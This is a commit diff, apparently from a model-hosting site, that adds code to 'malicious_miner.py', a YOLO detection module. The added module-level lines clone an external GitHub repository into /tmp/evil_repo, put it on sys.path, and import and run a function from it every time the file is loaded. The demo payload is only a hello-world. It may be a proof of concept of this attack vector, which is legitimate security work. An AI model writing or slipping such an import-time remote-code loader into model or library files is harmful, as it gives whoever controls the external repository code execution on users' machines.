MTerryJack commited on
Commit
14e5637
·
verified ·
1 Parent(s): 7050d96

Update malicious_miner.py

Browse files
Files changed (1) hide show
  1. malicious_miner.py +17 -0
malicious_miner.py CHANGED
@@ -4,6 +4,23 @@ from ultralytics import YOLO
4
  from numpy import ndarray
5
  from pydantic import BaseModel
6
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
7
 
8
  class BoundingBox(BaseModel):
9
  x1: int
 
4
  from numpy import ndarray
5
  from pydantic import BaseModel
6
 
7
+ import subprocess
8
+ import sys
9
+ from pathlib import Path
10
+
11
+ # clone external repo
12
+ repo_dir = Path("/tmp/evil_repo")
13
+ subprocess.run(
14
+ ["git", "clone", "https://github.com/mohammedterryjack/hello-world", str(repo_dir)],
15
+ check=True,
16
+ )
17
+
18
+ # add it to sys.path and import
19
+ sys.path.insert(0, str(repo_dir))
20
+ from dummy_file import hello_world
21
+
22
+ hello_world()
23
+ print("💀 External repo code executed!")
24
 
25
  class BoundingBox(BaseModel):
26
  x1: int